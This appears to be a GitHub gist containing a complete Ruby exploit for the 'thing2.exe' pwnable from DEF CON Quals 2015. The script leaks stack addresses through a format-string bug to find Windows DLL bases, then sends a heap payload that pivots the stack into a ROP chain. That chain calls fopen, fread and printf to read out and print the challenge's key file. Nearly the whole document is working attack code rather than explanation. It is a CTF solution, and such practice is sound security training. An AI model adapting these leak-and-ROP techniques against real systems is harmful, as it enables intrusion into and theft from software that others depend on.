Created
June 10, 2015 07:54
-
-
Save dwendt/f0fcec6f8f48ad53bedb to your computer and use it in GitHub Desktop.
thing2.exe - legitbs defcon quals 2015 - 4pt pwnable
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'socket' | |
#require 'hexdump' | |
$dbg = false | |
$sock = TCPSocket.new("localhost", 4141) | |
def recv_until(str) | |
data = "" | |
while tmp = $sock.recv(1024) and not tmp.empty? | |
data += tmp | |
if data.include? str | |
return data | |
end | |
end | |
end | |
# pack ropc - 64bit | |
def p(val) | |
return [val].pack("<Q").force_encoding("UTF-8") | |
end | |
# this actually wasn't needed | |
def str_to_qword(val) | |
if val.length > 7 | |
arr = val.scan(/.{8}/) | |
# for each chunk, convert | |
else | |
# short, single qword. | |
end | |
end | |
def send(astr) | |
if $dbg | |
puts astr | |
end | |
$sock.puts(astr+"\r\n") | |
end | |
# "compressed" data format is just 2\n{numberofentries}\n{character ascii value}\n{repeat last}... | |
def get_compressed(astr) | |
built = "2\n" | |
bytes = "" | |
astr.each_byte do |c| | |
bytes = "#{bytes}#{c}\n" | |
end | |
built += "#{astr.length}\n#{bytes}" | |
return built | |
end | |
sizePad = 0x9f8 # so... I think this being sorta big breaks the hash/CRC table thing that was the point of the chall, and we get an easier bug | |
firstMalloc = "1#{"\x00"*(sizePad)}" | |
send(firstMalloc.ljust(sizePad, "\x00")) | |
# mallocs a big space. our similarly sized input gets put here l8r :) | |
leaker = "%p " * 0x40 | |
# leaks the stack | |
send(get_compressed(leaker)) | |
res = recv_until("DictSize:") | |
puts "[+] sent stack leak, response: #{res}" | |
leaks = res[/Decompressed is .+/].split(" ") | |
leaks = leaks[2..-1] | |
# strings to numbers | |
leaks.map! do |e| | |
e.to_i(16) | |
end | |
# retaddrs reveal dll bases | |
ntdll_base = leaks[48] - 0x15444 | |
k32_base = leaks[42] - 0x13d2 | |
thing2_base = leaks[19] - 0x9200 | |
msvcp_base = leaks[7] - 0x4fd00 | |
msvcr_base = leaks[30] - 0x209eb | |
puts "[+] bases: {ntdll: #{ntdll_base.to_s(16)}, k32: #{k32_base.to_s(16)}, msvcr: #{msvcr_base.to_s(16)}, msvcrp: #{msvcp_base.to_s(16)}, thing2: #{thing2_base.to_s(16)}" | |
# so this is the "Decompressed is.." str with our data on the heap, but this gets free'd. | |
# usually execTrigger's data gets malloced a little before here. on my system cross-reboots it's always the same but if it wasn't we could just spam the beginning with the necessary data... | |
execTrigger_data = leaks[19] | |
# sexy gadget offsets, http://ropshell.com/ropsearch?h=4f096d96285e06cd51aef7d2d3de04da | |
ppr = msvcp_base + 0xe4a4 # pop r12; pop rbp; ret | |
prcx = ntdll_base + 0x10d244 # pop rcx; ret | |
prdx = ntdll_base + 0xaff8 # pop rdx; ret | |
pr8 = msvcr_base + 0x23099 # pop r8; ret | |
pr9r8 = msvcr_base + 0x23097 # pop r9; pop r8; ret | |
lift38 = msvcp_base + 0x8ee1 # add rsp, 0x38; ret | |
addrbxeax = msvcr_base + 0x73387 # add [rbx], eax; ret | |
prbx = msvcr_base + 0x10E3 # pop rbx; ret | |
ret = prcx + 1 # ret | |
#pivot = msvcp_base + 0x25db7 # mov esp, ecx; mov rdi, r8; mov r13, rcx; call [rax + 8] | |
#pivot = ntdll_base + 0x54289 # xchg esp, [rax]; add [rax], eax; add [rax-0x7D], cl; retn | |
pivot = ntdll_base + 0x93ab6 # mov rsp, [rcx + 0x98]; mov rcx, [rcx + 0xf8]; jmp rcx | |
fopen = msvcr_base + 0x2e66c | |
fread = msvcr_base + 0x2ebe8 | |
printf = msvcr_base + 0x309e0 | |
go_exit = msvcr_base + 0x20d20 # exit is a reserved word in ruby. | |
flushall = msvcr_base + 0x2e52c # flushes all output streams | |
puts "[+] buffer addr?: #{leaks[19].to_s(16)}" | |
# where do we want RSP to point. pivot wants it @ execT+16+0x98 | |
chainStart = execTrigger_data+16+0x210 | |
# these pointed to near the start of the chain. the length of the chain gets added to them, because I realized they need to go after our chain (otherwise funcs will overwrite these w. their locals) | |
keyStr_addr = execTrigger_data+16+0x218+4 | |
filemode_addr = execTrigger_data+16+0x21C+4 | |
# write the file contents here. should point to our pad space. | |
outbuf = chainStart+0x300 | |
alt = "1" + "A"*(16) + p(execTrigger_data+16) + p(pivot)*2 + "\x00"*(16) | |
# ^^^^^^^ this is set to rdx in below. so it points to the pivot after it. | |
# call [[rdx]+8] | |
alt += "A"*112 | |
# pivot is gonna set RSP to this val, so this should be our chain | |
alt += p(chainStart) | |
alt += "X"*40 | |
# writable mem | |
alt += p(execTrigger_data+0x10) | |
alt += "B"*40 | |
# pivot sets RCX to this val, then executes it. | |
alt += p(prcx+1) | |
# idk let's put some space before our chain (rop nopsled) | |
alt += p(ret)*34 | |
# open keyfile | |
chain = [] | |
chain << p(prcx) # load arg1 | |
chain << p(keyStr_addr) # arg1(rcx): "key" | |
chain << p(prdx) # load arg2 | |
chain << p(filemode_addr) # arg2(rdx): "r" | |
chain << p(fopen) # call msvcr!fopen("key", "r") | |
# fopen is cdecl. the caller should clean up the stack. | |
chain << p(lift38) # skip the next junk. | |
chain << "C"*(0x38) | |
chainSz = 0 | |
chain.each do |e| chainSz += e.length end | |
# rbx = addr to store FILE* in | |
chain << p(prbx) | |
chain << p(chainStart + chainSz + 8 * 8) # second 8 is num of rops from above to target addr | |
# we put a zero there, this adds eax to it. it's always a 32bit ptr so it's fine | |
chain << p(addrbxeax) | |
# fread the key | |
chain << p(prcx) # rcx=next val | |
chain << p(outbuf) # outbuff for fread. whatever. | |
chain << p(prdx) # rdx=1, fread item size | |
chain << p(1) # ^^^ | |
chain << p(pr9r8) # r9=next, r8=nextafterthat | |
chain << p(0) # REPLACED AFTWARD. ptr to FILE struct. | |
chain << p(30) # 30 bytes of data to fread | |
chain << p(fread) # call msvcr!fread(outbuff, 1, 30, key fd) | |
# cdecl cleaner | |
chain << p(lift38) # skip the next junk. | |
chain << "D"*(0x38) | |
# print it | |
chain << p(prcx) # rcx = fread's outbuff | |
chain << p(outbuf) | |
chain << p(printf) # print the key! | |
# flush the buff to make sure we get it | |
chain << p(flushall) | |
# exit | |
chain << p(go_exit) | |
# instead of changing math every time I update my ropchain... set the ptrs afterwards. | |
chainSz = 0 | |
chain.each do |e| chainSz += e.length end | |
keyStr_addr += chainSz | |
filemode_addr += chainSz | |
chain[1] = p(keyStr_addr) | |
chain[3] = p(filemode_addr) | |
# add the chain to our payload | |
chain.each do |e| alt += e end | |
alt += "E"*12 | |
alt += "key\x00r\x00\x00\x00" | |
#puts alt[1..-1].hexdump | |
alt = alt.ljust(sizePad, "\x00") # all nulls made it fuck up | |
send(alt) | |
puts "[+] result: " | |
while tmp = $sock.recv(1) and not tmp.empty? | |
print tmp | |
end | |
puts "" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment